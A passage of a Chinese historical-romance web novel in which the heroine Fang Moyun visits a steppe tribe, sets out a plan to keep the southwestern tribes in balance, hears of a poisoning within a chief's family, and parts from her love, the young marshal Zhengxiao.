很快她便看到了一个熟悉的场景，在对面山坳之上，站着一只威风凌凌的头狼，身姿高大，散发着霸气与智慧。它的毛发灰白而厚实，背上若隐若现的力量好似让周围的一切都黯然失色。狼群紧随其后，警觉地注视着前方。
头狼冷峻的目光与茉云的目光交汇，彼此之间好似有着无声的默契。
茉云笑着顿时抬弓，一箭射向狼的前方，箭尖就在头狼的一尺之外狠狠扎入土地。头狼迎风而立，一动不动，好似对茉云的挑衅早已习惯。
片刻之后，头狼抬起头，发出一声长嚎，声音高亢又有力，带着一股王者的威仪。然后，它带着狼群转身离去，消失在远处的草原上。
茉云看着头狼离去，心中不禁一笑，这家伙也就能稍稍相信自己，可它们永远不可能相信人。她回头看向老影，开心的策马来到了老影身边。
“那家伙如今也年纪大了，威风不了几年了。”老影笑着随意的靠到土坡上指着狼群说。
茉云飞身下马，笑着说道：“你不是说过，这就是草原吗？从无长盛不衰，都很正常，得听老人言，不要去打扰！”
说完他就抢过老影的皮壶，往自己嘴里倒了一大口，酒香扑鼻而来，瞬间温暖了全身。
老影长叹一声，无奈地说道：“你这娃，回去混了这么多年，还是只能骗吃骗喝？”
茉云顿时笑得不行，点点头，眼中满是调皮与欢喜。
老影亦是笑得脸上都皱成一团：“你这个疯丫头倒也是长大了，眼神都变得温和了。”
茉云则看向老影端详了半刻，笑着说道：“你咋没老呢？”
老影则笑着摸了一把脸说道：“我爹娘就是生我生得好，十几年前我就样，不会变了。”
“你在做梦吧，日升老部落主的牙都快掉光了，我刚看着他，我都不知道那羊骨头他怎么啃进去的。”
老影顿时就笑得前俯后仰，茉云总这般开朗且没大没小。
这个时候忽然身后又传来了急促的马蹄声，茉云头都没有，老影则笑着看向茉云说道：“你猜是谁来了。”
茉云则无语叹了口气，心想还能是谁，定然是奇能来了。
奇能飞驰而来，下马见到茉云便急切的说道：“我都没发现你在随行队伍之中。”
茉云则随意地笑了说道：“我是故意乔装的，以前总想着若再来，定然不会这般窝囊，还不得搅个天翻地覆。”
“对，狼崽子若回头，不是报恩，就是报仇。”老影则乐了，叹着气说道。
茉云也乐了，望向苍穹又仰头喝了一口酒，深吸一口气，这儿的风都有自由和旷野的味道。
奇能望向茉云，眼中都放出柔和的光，忽然问道：“问你个问题。”
“你什么时候这么委婉了？”茉云侧目看向奇能说道，奇能亦被逗笑了，昔日他年少轻狂之时，对茉云的追求便是坦荡而热烈的。
“卢正啸就是你选中的男人吧？”
此话一出，老影也顿了一下挑眉望向茉云，茉云则坦率笑了，算是默认。
“为什么？”奇能旋即看向他追问道。
茉云扯过一根草，叼在嘴里咬着，看向天边想着说道：“不知道，第一眼看见就很喜欢。”
奇能微微一怔看向茉云，老影则顷刻眼睛笑得眯成一条线，微微往后靠靠。
“来，让我听听有没得心碎的声音。”
奇能被逗笑了无语推开了老影的头，他并不是不能接受，自己早已接受了各自宿命。<
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茉云则指着奇能看着老影，一脸恨铁不成钢地说道：“这有什么好心碎的，老部落主带着奇能去营里见了元帅，卢家军本来态度很好的问他们，只要能联合抗峑戎，你们有什么想法，意思便是什么条件你们随便提，他们可好，老部落主说，我们日升部落就要方茉云。”
老影愣了半刻无语的望向奇能，奇能亦被逗笑了坦诚的说道：“他说之前未与我商量。”
“卢家军一听，怒了，要知道对汉人而言，历史上那要是多大的羞辱才给女人啊，王昭君去匈奴那是打不过匈奴。然后其他部落一听，也怒了，日升部落要方茉云回来，怎么？他们想一统西南还是怎么的。结果一句话，把人得罪光了，白白什么都没捞到。”
老影顿时捂着额头，笑得前俯后仰的说道：“方茉云，你跟王昭君有一根头发丝的关系没，她跟女人都没多大关系。”
“是啊！”茉云毫不在意地亦笑得前俯后仰说道，“他倒是要钱啊，绫罗绸缎啊，结果啥也没捞着！”
“现在日升不缺钱，不缺衣，若问我最想要之物，那我也会这般回答！”奇能本是从来不掩盖内心之人。
茉云无语的转头望向苍穹，继续喝着自己的酒，没有回应。
奇能却望向茉云继续说道：“今日既然回来了，就是来看老朋友的，怎么也不回部落里看看。”
“看看狼，见见老影就挺好的，至于部落，物是人非，没啥好看的。”茉云的目光好似穿透了天地望向了远方，眼中不禁透出一丝怅然。
“何处物是人非？日升于你而言，什么都未变。”奇能如今是日升的主宰，只要他待茉云如初心，那么日升也必须待她如初。
茉云转头看向奇能那般自信的模样，眼中透出一丝冷漠说道：“大姐呢？”
“她生病了，在营帐里休息，你为何不去看看她。嫂子若见你，定会开心的。”奇能一脸坦诚的回答。
“该去看看的是你，她既是你嫂子，亦是你姐，没有她你早死了！”
奇能愣了一刻望向茉云，茉云亦冷冷的望向他，奇能晃过神吸了口气，他大抵明白了茉云是什么意思说道：“好，我回去查查！”
“还有为什么要阻止雨燃嫁给韦达那小子！”
“我不想雨燃入狼窝！韦达能有什么好日子过！”
“如今你是西南的主宰了吗？如同当年韦达的西洳他们，可以轻易在这片天地，定人生死，断人未来，把控一切！”茉云顿时眼中透出了寒戾的光，老影嘴角微微扬起，这才是他熟悉的方茉云。
奇能深吸一口气望向茉云，见到她眼中的忿然，他竟无言以对……
“无论如何，昔日朋友、兄弟一场，希望你的好日子过长点！”茉云就酒皮囊丢给了老影，看向他之时才神情温和了一点说道，“保重，少往地上躺！”
老影笑着点点头，说道：“要不怎么说你成长了呢，也不是逮谁咬谁了！”
“谁说的，我待人一向让人如沐春风！”茉云一脸笃定的自我评价道，说完两人都乐得不行。
可奇能却看向茉云不依不饶的问道：“为何是昔日，现在和以后不是吗？”
茉云则飞身上马，望向苍穹说道：“若有一日，你害死了大姐，或者勾结亦有此心的正奇部落，试图在这西南称王称霸，你我反目成仇不说，刀兵相见都未可知！”
“绝不会有那一日！”
“但愿如此！”茉云最终欲言又止，端坐于马上俯瞰着奇能和老影说道，“走了，保重！”
“茉云啊，你可还记得当年你说，你为何喜欢狼！”老影亦站了起来，随意地拍拍身上的灰笑了说道。
“因为想做死不低头的狼，不想做摇尾乞怜的狗！”
老影笑了望向茉云点点头，茉云洒脱的扬起马鞭而去，草原上渐渐只剩下马蹄声在空中回荡，奇能却轻轻吸了口气……
“奇能啊，她从来不可能成为你的喜欢之物，首先，她绝不可能是物，然后，她也绝不可能花费任何在无意之事上，狼行千里，眼中只有猎物，她的喜欢亦是充满了坚毅，清醒和野心。她不需要亦不希望你在她那里浪费任何心思！”老影笑笑赶着羊，往前边走边说道，“哪儿像那正奇部落的什么月亮吧，看你的目光都带着钩子！”
“老影，她说大姐不是病？还说正奇部落亦有此心？”奇能若有所思的说道。
老影笑笑赶着羊，未再言语，只是心中淡然笑了，这丫头自己还说听了老人言，任草原自有自的繁荣与凋零，可这丫头还是忍不住插手了，也好，这也是这草原难得的人味……
285.坚定
马儿奔腾在广袤的草原上，随着马蹄声的回响，茉云渐渐离开了那些曾经熟悉的地方。太阳缓缓沉落西山，余晖洒满了大地。草原此刻的景象仿佛被染上了一层金色的薄纱，草叶随风轻轻摇曳，远处的山脉像是被火烧过的红土，散发着深邃的宁静。空气中弥漫着草香和泥土的味道，每一口呼吸都充满了草原的自由与广阔。
茉云的心情有些复杂，虽然背后是如此令人向往的自由和曾经干净欢畅的友情，但她此刻，心中就想快点回到营地，不由得紧握缰绳，加快了速度。她望向前方，渐渐明白，自己最想要的是什么……
行至一半路程时，茉云的目光扫过路边，突然停下了马。她看到一个熟悉的身影站在那里，正是万莫。茉云勒住马缰，眼中闪过一丝疑惑，低声问道：“怎么了？”
万莫憨笑着说道：“少主让我在这里等你！”
茉云不禁心想那家伙是何时认出我的？想着却又忍不住乐了起来，曾经在中州时，他就曾说过，自己哪怕变成灰，他都能认出来。
此时万莫又从兜里拿出了饼递给了茉云，茉云马上开心的接过，迫不及待地咬了一口，说道：“万莫，你真是够兄弟，你怎么知道我肚子饿了！”
“我不知道，是少主说你中午什么都没吃，让我把干粮留给你点。”万莫则憨笑着，准备上马说道。
茉云愣了一瞬，低头看向万莫，心里一动，笑意不自觉地浮现。
两人继续骑马前行，快到时，她终于追上了队伍。元帅转头看见茉云回到了队伍中，脸上露出了温和的笑容点了点头。茉云心头一暖，视线不自觉地又落在了正啸那魁梧的背影上，心里似乎涌现出一种无声的信任，仿佛这一刻，一切都变得不再那么复杂，所有的困惑和失落，都随着草原的风消散无踪。
回到营帐时，元帅笑着对众人说道：“就将今天部落主送来的上好羊肉煮了，让将士们大吃一顿。”
话音刚落，营地的气氛马上热烈了几分，伙营的士兵们便满面欢喜地抬着羊肉进入了营帐，不一会儿，空气中弥漫着肉香和热气。
茉云到伙营之时，发现所有将士都在大快朵颐着没事，她转身安静地走回自己的营帐，心中却有些复杂。就在她准备坐下时，万莫手里端着一大碗热腾腾的面。
茉云愣了一下，目光不自觉地落在那碗面上——一碗丰盛的面条，热气腾腾，面上飘着淡淡的葱绿和红亮的油花，汤面中还漂浮着刚刚炸好的鸡蛋，汤底清亮透彻，香气扑鼻，宛如是从锅里冒出来的热气。
人看得垂涎欲滴，整碗面看上去不光是温暖，好像还带着一丝深深的安慰。
万莫将面放在茉云案前，看着茉云的神情，憨傻地笑了说明道：“这面里没有羊肉。”
茉云不禁愣住了，他知道周总教头下面是不放辣油的，她抬头望向万莫，问道：“这是谁下的？”
万莫笑着转身，回道：“少主下的，他说你不吃羊肉了。”
茉云微微一怔，她低头看着这碗热气腾腾的面，心头涌上一股暖意。她低头拿起筷子，伸手夹起一根面条，放进嘴里，面条的滋味在舌尖上绽开，她马上开心地吃完这一大碗面，终于觉得肚子饱饱的，心情也变得格外舒畅。
她不由自主地看向营帐外，自己小时在部落带过，向来喜爱吃羊肉，但……义父崔老将军身前最后一顿饭，就是亲手给她做了一大锅羊肉，自此看见羊肉，自己就会想起他和老马，心头的自责便会狂涌而来。
所以自己发誓，未完成义父遗愿，南境未平，峑戎未除，她再也不敢吃羊肉了，没想到正啸竟然发现了，他本也不是这种心细如尘的人啊……
翌日晌午后，阳光洒满了营地，元帅将所有的将领召集到了他的营帐。众将军们纷纷坐定，空气中弥漫着一股严肃的气息。茉云步入营帐，亦坐了下来。
元帅看向茉云，没有绕弯开门见山地问道：“茉云，你此次去日升部落感觉如何？”
正啸微微蹙眉，原来元帅同意茉云去日升部落，显然是有着其他的考虑。
茉云则风轻云淡地说道：“他们现在在西南部落的地位，可谓是一呼百应，威势不亚于当年韦达部落。”
她的语气虽然平静，但话语中的深意却令在场的每个人都不禁思索，当年的韦达部落可谓是在西南为祸一方，还和峑戎有丝丝缕缕的联系。
威行则沉思片刻，语气坚定地说道：“奇能做了部落主，不至于与峑戎勾结，走韦达的老路吧。”
“追求疆域广阔和部落强大，一直以来是部落人祖祖辈辈的梦想。为此，他们什么都能干。”
众人不禁都望向她，茉云的眼神清冷如水，带着一股透彻却稍显无情的洞察。
茉云继续分析道：“而且，老部落主的两个女儿，大女儿是女中豪杰，小女儿梨绒……不是什么好人。现在，她已经是奇能的妻子，而她，会渴望成为西南部落领袖的女人。”
众人默默地交换了一些眼神，气氛一时变得凝重，野心在草原一直都是战火的开端。
执礼深吸了一口气，话中带着些许忧虑，分析道：“西南部落若一家独大，恐日后会为祸。”
茉云微微点了点头，说道：“对，但是短期内，日升部落应该不会走上这条路。”
她的话让在场的将士们稍微松了口气，虽然局势充满变数，但眼下似乎还不至于立刻爆发，至少不会影响战事。
唯独魏副帅看向茉云，眼中闪过一丝提醒：“茉云啊，你不能因为他们曾是你的朋友，就对他们过分信任，毕竟你现在生在卢家军，要以……”
然而，他的话未说完，元帅难得地打断了魏副帅的话，语气温和但坚决：“诶，老魏！茉云绝非此意。”
军中众人皆知，元帅素来对于茉云的有着充分的信任和赏识。
茉云自然也微笑着回应，语气依然平淡，但话中却充满了一种无声的冷厉：“魏副帅，您也许还不太了解我，我是世上最难说出信任二字之人，回来之前，我去见了西南部落曾经的战神老影，他如今骑马牧羊，应该是不会再参与战事了。”
她的话语中带着一种不容置疑的确定，她走了这一趟，对于西南部落的动态已经了然于胸，一切的变数，她也早已能料到……
“西南有风险，但暂且不用担心，短期内他们不会一家独大。”
执礼看向茉云，眉头微蹙，眼中透出疑惑：“你为何如此笃定？”
东山站在元帅身边隐隐皱眉望向执礼，他不应该追问的，茉云自有茉云的判断！
茉云依旧带着那份淡然的微笑，说道：“我临走之时，见了奇能。我问他，为什么要阻止雨生部落的小女雨燃嫁入韦达部落？还有，我告诉他，如果他害死了日升部落的大姐，我一定不会放过他。若他勾结同有此心的正奇部落，心怀称霸西南的图谋，那就只有刀兵相见。”
她的语气并不急促，却其实每句话都充满了深意……众人默然地倾听，却一下并未察觉其中的意有所指。
“西南三大部落，目前韦达部落最弱，但我相信，只要奇能不阻止，十日之内，雨生部落的部落主小女儿雨燃便会嫁入韦达部落。雨生部落素来刚强，定能帮衬韦达部落东山再起。”
她语气笃定而清晰，令众将都屏息听着。
“而韦达部落的老部落主的大女儿申霄卧床不起，但只要奇能回去一查，害她之人便会心生忌惮，害她之人十有八九就是她妹妹梨绒。梨绒为了集中她男人奇能在部落的权力，不惜害死自己的亲姐。但只要大部落主的大女儿还活着，奇能就无法集中所有的权力，必定要耗一阵。”
茉云的分析如此准确，可是就是让人不禁感受到……她字里行间透出的无情。
“至于正奇部落，他们想把自己部落的西南第一美女娆月也嫁给奇能，若这桩婚事成了，那么西南就是他们两家的天下了。但谁都不会愿意为对方做嫁衣，我既然点破了正奇的想法，这桩婚事便成不了，还会心生嫌隙！西南只要呈三足鼎立之势，便不会为祸我国。”
话语逐渐变得锋锐如刀，每一字每一句都直戳问题的
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根本，亦带着深深的城府……
“所以，短期内，我觉得西南部落无恙，你们应该不会再迟疑了吧。”
顿时，众人望向茉云，心中不禁倒吸一口气。她眼中那股寒戾之气好似化作了冰冷的风，总让人不寒而栗。她语气平稳，但每一个字都如同沉重的铁锤，敲打在众人的心头。
茉云又一次坐在那里，接受了卢家军中将领们的目光洗礼。她感受到他们眼中隐隐透出的质疑……她知道卢家军这些将领们，大多是正大光明之人，他们经历过生死考验，早已习惯了刚毅和正直，当看到自己这般沉浮与狠戾，心中难免涌现出一股不自觉的排斥。
茉云依旧保持着淡然的微笑，抱拳轻声说道：“元帅，情况向您汇报，完了，我先告退了。”
元帅温和点了点头，示意她可以离开。茉云转身，毫不拖泥带水地离开了营帐。
回到自己的营帐，她一头栽进床上，闭上眼睛沉沉地睡去。醒来之时，伙营通知晚膳之声，传入她的耳中。
茉云来到伙营，她毫不客气，拿起筷子大口大口地吃了起来，不到半炷香时间，她已经干下一大碗，连周围的人都看傻了。
她起身再去盛饭时，威行正在盛饭，他乐呵呵拿过茉云的碗，给她又添了一大碗。
“谢啦，威行。”茉云笑着接过那堆得如一座小山的碗，然后转身随意地坐下，吃着饭，然后看见威行大摇大摆走来坐在她的对面，接着沧海和鹿里也坐了下来。
茉云若有所思的看向威行，笑着问道：“威行哥，你曾畏惧过我吗？”
威行愣了一刻，眼中带着一丝调侃的说道：“昔日我在中州就怕了你好吗？你耍得我一愣愣的，搞得我以为我自己害了少帅，去他那里哭得稀里哗啦的磕头！”
茉云想着被逗笑了，点了点头，继续埋头吃饭。
威行也吃着饭，随意地说道：“可是后来是少帅说，你这人不过是常常孤注一掷，为了干要干之事，有时哪怕诛己之心，亦要成人之美。虽恶狠但也不坏！”
茉云愣松了片刻，抬目望向威行。
威行则笑着凑过来，然后声音放得极低地说道：“诶，少帅刚才顶撞了魏副帅，魏副帅问元帅你所行之道是否太过阴损，有亏卢家军声望德行，少帅说不论你如何做，能够让西南部落形成三足鼎立之势，互相牵制，这对西南部落万民和西南整个地区，都是最好的局面，不然此地定然生灵涂炭。这便是最大的恩德。”
茉云微微挑眉，抬头凝视着威行：“他为啥这么相信我？”
“谁知道呢？”威行则耸了耸肩，想着笑得更开心地继续说道，“少帅还反问魏副帅，跟着干事何以这么难？明明行军打战早已手染无数鲜血，这会儿谈如何做正人君子了，您怎么不去峑戎跟谈仁德呢！结果元帅操起砚台就要砸少帅，骂他是不是活得不耐烦了，这么跟他们说话！幸亏是魏副帅和周总教头拦住了！”
茉云的筷子停住了，也凑过去，看着威行一脸笃定地说道：“我当年就跟你说，咱命运不济，没跟个好上官，他有可能脑子有问题！”
顿时两人都笑得前俯后仰，旁边鹿里也笑得不行，沧海无语的看着他们也被逗笑了，好似一切的沉重又被暂时抛开，气氛瞬间变得轻松而纯粹。
茉云吃完饭，步伐轻快地朝正啸的营帐走去，想起他对自己的评价，虽狠恶但不坏，顿时被逗笑了，一路走来，那家伙也是——虽又凶又恶，但从来都是坚定而从不迟疑的选择相信自己……走着走着，她忽然跑了起来，未等营外的士兵进行汇报，茉云已经冲进正啸的营帐。
推开帐帘的瞬间，她一眼看到他，视察完士兵操练，正啸刚刚脱下沉重的盔甲，额头微微泛着汗水，目光深邃透出一丝疲惫，还没等他完全转身，茉云已冲到跟前，猛地伸出双手抱紧了他。
这一瞬间，时间仿佛凝固，正啸不由自主地愣住低头望向怀里的茉云，她没有说话安静地闭上了眼，好事享受着这一刻的宁静与温暖，仿佛这个世界所有的喧嚣都已经远去，只剩下他们彼此。
286.不移
就在这一刻，远远从营外传来疾驰地马蹄声，紧接着，一名士兵急匆匆地跑打营帐跟前，被千山拦住了，那士兵在帐外恭敬地汇报道：“启禀少帅，方将军，外面有一名名叫雨燃的部落女子，无论如何要求见方将军。”
茉云瞬间松开，转身冷静地回应：“带她来此吧。”
话音刚落，茉云停顿了一下，走过去掀开了营帐帘，目光轻轻扫过一旁的千山。
“千山，帮我请巡抚大人和军师来。”
“是。”千山旋即恭敬的应道。
茉云微微笑了，转身望向正啸，眼中带着一丝调侃的笑意：“万一日后有人说我蛊惑少帅，和西南部落密谋咋办？”
正啸眼中闪过一丝无语转身坐回了桌案边，不一会儿，若辰和执礼走进来，紧接着，雨燃也被带进了营帐。
她疾步而入，似乎完全没有注意到正啸和若辰等人的存在，径直跑到茉云跟前，急切地说道：“姐，你知道日升部落出大事了吗？”
众人不禁将目光投向了雨燃，茉云亦撑着头，目光悠然地看向雨燃，只是轻轻挑起了眉头，说道：“说来听听。”
雨燃的神情紧张，眼中闪烁着焦虑和不安。她低声说道：“奇能哥哥大怒，怒斥了梨绒姐姐。梨绒姐姐忽然像变了一个人一样，朝奇能哥哥吼道，说这是方茉云的诡计，挑拨他们夫妻的关系。”
茉云一脸的从容自若，心想奇能那小子这么快就查了出来。
“奇能哥哥勃然大怒的问她，‘那是方茉云让你给申霄大姐下毒的吗？’”雨燃的话语带着几分惊讶和无奈，把声音明显降低了几许，“梨绒姐姐说，她这么做都是为了奇能哥哥，可奇能哥哥非但不领情，反而心里只有方茉云这个贱人，她还说茉云姐你……来西南，就是为了挑拨西南部落之间的关系，从没有一刻是为了奇能哥哥好。”
茉云微微眯起眼睛，眼中闪过一丝冷凌之气，心中却不禁想到，梨绒倒是比自己想象的还厉害几分。
雨燃带着几分诧异地看向茉云，觉得她居然没有半分诧异。
“结果奇能哥哥给了梨绒姐姐一巴掌，让她闭嘴，然后老部落主狠狠教训了梨绒姐姐一顿，说他一直以为梨绒姐姐如同小白兔一样，没想到她竟然能做出这种害死亲姐的蛇蝎之事，还说申霄姐姐从小待她多好！”
雨燃说到这里，脸上浮现出一丝复杂的情绪，似乎对这一切感到震惊。茉云则静静地听着，眼神依旧平静，好似早已预料到这场风波的发生。她并没有立刻发表任何意见，只是微微抬了抬眉，等待雨燃继续。
雨燃的语气低沉几分，不满地说道：“梨绒姐姐还不悔改，她说……只要她还活着一天，都会让茉云姐你不得好死！”
茉云听后淡然一笑，眼中闪过一丝狠戾的光芒，凌冽而傲然地说道：“好！”
正啸微微蹙起眉头，若辰望向茉云眼中也透出一丝担忧，这西南看似是不会轻易太平的……
茉云则平静地望向雨燃，语气淡漠却带着一丝调侃：“你跑这么大远来，就是为了告诉我这事？”
“当然不是！”雨燃摇了摇头，她急忙边回应着，边她走到茉云的桌案前，坐在地上趴在桌上，睁着她那双天真而单纯的大眼，认真地看向茉云：“茉云姐，今日奇能哥忽然跟我爹说，不阻止我嫁人了，任我选自己满意的夫婿，我爹说让我自己想清楚。”
茉云轻轻挑眉，饶有兴致地反问道：“那你想清楚了吗？”
“茉云姐，你觉得他怎么样？”雨燃望向茉云，眼中透出些许的犹豫与期待。
茉云抬起眉毛，语气中带着一丝狡黠的笑意：“好像不怎么样吧？”
“他哪儿不好了？”雨燃顿时不满地撑起身子，表情有些激动和错愕。
茉云微微笑着回答：“他人我也不太了解，但韦达百废待兴，你去那儿，随他要干之事，既危险又艰难，何苦呢？”
雨燃旋即就指着正啸，毫不犹豫地说道：“那他要干的事，不更危险，更艰难吗？”
顿时，周围的人都愣了片刻，纷纷望向雨燃，若辰一脸温润的笑了望向这个“没大没小的”草原姑娘。
“人是我上官，那怎么一样！”茉云一副死鸭子嘴硬的态度，端起茶边喝边说道。
“得了吧，那日我在卢家军就看见了，你看他的眼神，就像草原上的男人看见了中意的姑娘一样。”雨燃看着茉云，偏着头一脸笃定地戳穿茉云道。
“真的假的？这么明显吗？”茉云笑得差点将茶都喷了出来，但她的神情依旧轻松而坦率，显然对于这一切并未感到丝毫的压力。
雨燃顿时也乐了，像鸡啄米一样连连点头，好似两人是在四下无人之时聊着闺房话。
两人笑过之后，茉云的眼神中又透出一丝泰然，说道：“你这丫头，既然你心意如此坚定，还来问我干嘛？我是素来不问他人意见的。”
雨燃似乎恍然也意识到了，其实心中早已做下决定，她点点头说：“茉云姐，我要嫁去韦达了，我会全心全意爱他，全心全意待韦达部落的人！”
茉云轻轻端起茶杯，又喝了一口笑着说道：“好，但若问我，我觉得是用九分就好了，给自己留一分尊严和清醒。”
雨燃愣了一下，稍微沉思后语气坚定地说：“好，我一定要跟茉云姐一样，最后一定要为自己留一分尊严。”
茉云淡然一笑，眼神瞬间变得凌冽，带着一股不容忽视的锋芒：“像我一样？那我第一步就是尊严，再看走不走剩下九步。”
雨燃愣了一下，随后有些迟疑地说道：“可是……他是名震天下的卢家军少帅吧？”
“记得咱们第一次见面时，我说过的话吗？”茉云微微一笑，带着些许调侃的口气回应。
雨燃顿时被逗笑了，回忆着说道：“我说，天啊，姐姐，这不太好吧，你说，你管那么多干嘛，我喜欢，我敢要，老天才敢给！”
这对话瞬间让茉云回到了那时，笑容也变得更加轻松。众人却不禁抬目望向茉云，若辰望向正啸，看见他眼中只有一个身影的样子，微微笑了。
茉云稍稍坐正，笑容中带着几分坦然和肯定，说道：“去吧，你定能做好韦达的部落主夫人的。”
雨燃深吸了一口气笃定的笑了点点头，可转瞬间，她似乎还有什么难以启齿的问题，最终还是开口轻轻问道：“茉云姐，我还想要问你一个问题，你是在利用奇能哥吗？”
茉云望向雨燃，眼神依然清澈，但没有半分迟疑，冷静的回答：“是！”
雨燃的眼中顿时闪过了震惊，她一路亦也想了很多，可她没有想过茉云会回答的这么坦诚。
“我少时在部落时，曾做梦都希望天降一位英雄到这片草原，一统各方部落，让部落之间不再有厮杀，结果过了这些年我才明白，能让这儿太平的不是强权和铁腕，而是敬畏之心。”
雨燃坐在那儿怔怔的望向茉云，她的语气中带着些许沉思，但那份坚定与冷静却显得尤为真诚。
“你也可以把我的原话告诉奇能和正奇。草原日升日落，草原人本无疆域、居无定所，所谓王者不过都是虚妄，连狼王都从没有一个能长盛不衰。强权和屠戮给人们带不来好日子，机关算尽，屠戮无数，结果不过是几年的风光，最终累得部落后人皆没个好结局！”茉云一脸凌冽的望向雨燃说道。
众人望向茉云，她就坐在那儿，声音平淡，却好像是从高处俯瞰一切的王者，让周围的人都不自觉地屏住了呼吸。雨燃静静地看着她，微微点头，似乎已经理解了茉云话中的深意。
茉云顷刻又微微
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一笑，挑眉间透露出一丝不羁：“至于奇能跟他妻子讨论得如此激烈的话题——我是不是贱人？这争得毫无意义，这事我自己都从未否认过！”
雨燃似乎还没晃过神来，又被茉云逗笑了。
“而且我这一走，正奇定然也会在背后说，我不够义气，重色轻友，为了喜欢的男人，将昔日的兄弟往死里整……”茉云边说边从兜里拿出一个果子，怡然自得的地咬着。
雨燃也乐了点点头说道：“姐，你还没走，正奇哥哥就这么说了！”
“回去告诉他，他这句话说得一点没错，他们是第一天认识我方茉云吗？”茉云的笑容依旧淡然。
顿时雨燃又笑得前俯后仰，说道：“好！”
“还记得告诉他们，我是希望西南好的，但从未有一刻希望他两能人模狗样的在草原上这样横！”茉云眼中的狠戾之光又显露了出来，“道不同不相为谋，若是怨愤，抱怨我，骂我，又有何用？有本事来弄死我，但来弄死我，就一定要弄死，不然等我又站起来，我这人不给人下跪求饶机会的。”
她的目光如同寒铁，寒冷而坚决，整个场面静默了一瞬，她那股强大的气场令周围的人无法移开视线。让人不禁感叹，要是如何千锤百炼的强大，才能用如此淡定的语气说出这些话。
雨燃深吸一口气，亦点点头，她也不知道为何每次见到茉云，都能感受到她身上那股无可匹敌的力量，会被她感染，变得亦勇猛无畏。
茉云起身去送雨燃，两人继续旁人无人的边聊边走，雨燃转念一想，灵动的大眼珠一转，看着茉云带着几分调侃笑着说道：“茉云姐，你平日里在那个少帅哥哥面前也是这么说话吗？可是我娘说，一个女子无论如何刚强，在自己男人面前都不要太凶，要善解人意。”
茉云抬头望向雨燃，顿时不满的怼道：“他比我可凶多了！他当年还打我，打得我三天走不动道。”
“那你还能忍？”雨燃吃了一惊，眼睛瞪得大大的，显然没想到茉云能忍这事，脱口而出，“那你现在还在此？是因为太贱，还是太喜欢了？”
茉云若有所思地想了想，叹息地答道：“两个原因都有吧，前面那个原因多点。他也能忍啊！他是后面那个原因多点！”
话音刚落，身后帐篷内传出了哄堂大笑，正啸则无语地看向手中拿起的军务公文。
待茉云送走了雨燃，走回了营帐，众人目光齐刷刷的望向她，茉云亦抬起目光，望向正啸……
“善解人意？”茉云故作沉思的自言自语走近正啸，眼中闪过几分娇俏的笑意，抬起手指向正啸桌案上高高叠起的繁杂军务，俯身直视正啸的双眸，逗他说道：“看你忙得这么累，不如……咱两私奔吧？”
正啸眼中没有闪过任何诧异，微微抬目望向茉云，四目相触之时，他未有半分迟疑地说道：“好，去哪？”
这一句话如同一道闪电，集中了一旁的所有人，千山和执礼都错愕地望向正啸，完全没能反应过来，这是他们少主能说出口的话吗？若辰则是顷刻笑得肩膀都在颤抖。
而茉云也被正啸这出乎意料的回答逗笑了，一脸感叹的说：“我没想到你会说好，所以我压根还没想好去哪。万莫，你说呢？”
“嗯？”
茉云则转身看向一脸疑惑的万莫，忍不住调侃道：“你在想什么呢？先想我们去哪儿好？”
万莫略显局促地挠挠头，想着说道：“我……我在想……你今日对少主这么好……你犯了多大的错，这么讨好少主，我有点担心。”
“扑哧”顿时众人又哄堂大笑，笑声回荡在营帐中，顷刻让在整个营帐内，充满了轻松和欢快。
“我能犯何错？我来是想跟少帅说一声，我明日要回中州了！”茉云笑着望向正啸，未有迟疑地说道。
287.威武
翌日清晨，东方刚破晓，茉云便已策马离开了军营，一骑绝尘，转眼便消失在晨雾中。思淼骑着马，神情困倦，好似眼睛都未完全睁开。
他揉了揉眼睛，不满地望向茉云的背影，喊道：“师姐，天亮了，跟师兄道个别再走，有何不好？”
茉云依旧目不斜视，继续朝前方策马而去，她淡淡地笑了自言自语般，答道：“为何不好？要谢谢你师兄，让我方茉云也尝到了舍不得的滋味。”
可她的眼神中充满了坚决和决绝，渐渐地两人身影消失在远方。
稍晚些的军营里，若辰进入正啸的营帐时，看见正啸穿着一身铠甲，坐在桌前，神色严峻，正和诸位将军布置军务。那一刻，正啸眼中再也看不出丝毫柔和，只剩下铁血和果断，整个营帐充满了紧张的气氛。
元帅已下令，让正啸布置下去，全军在此地修整十日，一来大军亦需要修整，而且前方敌情并不明朗，探营已全员出动，去探查前方敌情，二来元帅派了震北快马加鞭，将盟书上交朝廷，等待圣上下旨。
正啸布置完军务后，诸将领命纷纷各自离去，若辰坐下，语气平淡地问道：“茉云一早就回中州了？”
执礼站在一旁，微笑着答道：“她素来就是说走就走。”
正啸拿起手中的军务文书，眼中却微微一顿，早上醒来之时，就听见了茉云马儿的马蹄声渐行渐远。
若辰看着正啸，眼中带着几分调侃，笑着问道：“你为何不好好跟她说说，让她留在军营呢？”
正啸抬起头，目光直视若辰，坦率的说道：“我跟她说，大战凯旋之后，让她嫁我，她都未曾答复我。”
营中所有人都吃惊的抬起头望向正啸，若辰亦顿时愣在原地，一时不知道说什么才好，只得继续问道：“那你……打算如何？”
正啸叹了一口气，继续低头看着手中军务文书，没好气的回应道：“当日程叔非说让我待你客气点，还说什么日后有事可与你商议。”
这时，万莫突然开口道：“对，你问他有用，他会知道……”
顿时，还没有晃过神的众人又纷纷转头，目光齐聚在万莫身上。
千山猛地瞪向万莫，怒声道：“你怎么跟关大人和少主说话的！”
万莫一脸疑惑，平静地看着说道：“是茉云说，只要听见少主跟关大人提起她，我就说，对，你问他有用，他会知道。”
“扑哧”一声，整个营帐顿时哄堂大笑，气氛顿时轻松了许多。若辰满脸无言，但随即也忍不住笑了出来，看向正啸，他的眼中也瞬间闪过一丝柔和。
而茉云和思淼在广袤的旷野上，骑马赶了一上午路，就是为了赶到茉云喜欢的小店吃午饭。终于，在烈日中，队伍来到一座山脚下小镇，找到了那破落且态度极差的小店。
那店面简陋，却散发着一股烟火的气息。茉云看着那桌上的菜开心的说道：“这小炒就是讲究火候，你别看这师傅脾气暴躁，但是他爆炒也是一绝！能炒得这般好吃，凶点又如何？”
思淼亦开心的吃着，想着眼中充满了期待和信心的说道：“我爹以前也说过，二师兄虽严厉少语，但却是经世之才，师兄这次带领卢家军定能凯旋，而且，师姐，你看卢家军往前推进之后，关外之地都是一片太平，关内外百姓都能安居乐业，再也不用担惊受怕了。”
茉云听着他的兴奋话语，微微抬起头，目光扫过四野，可她的眼中没有思淼那样的热情，反而带着一丝沉静与冷峻，她知道大战凯旋并非容易之事。
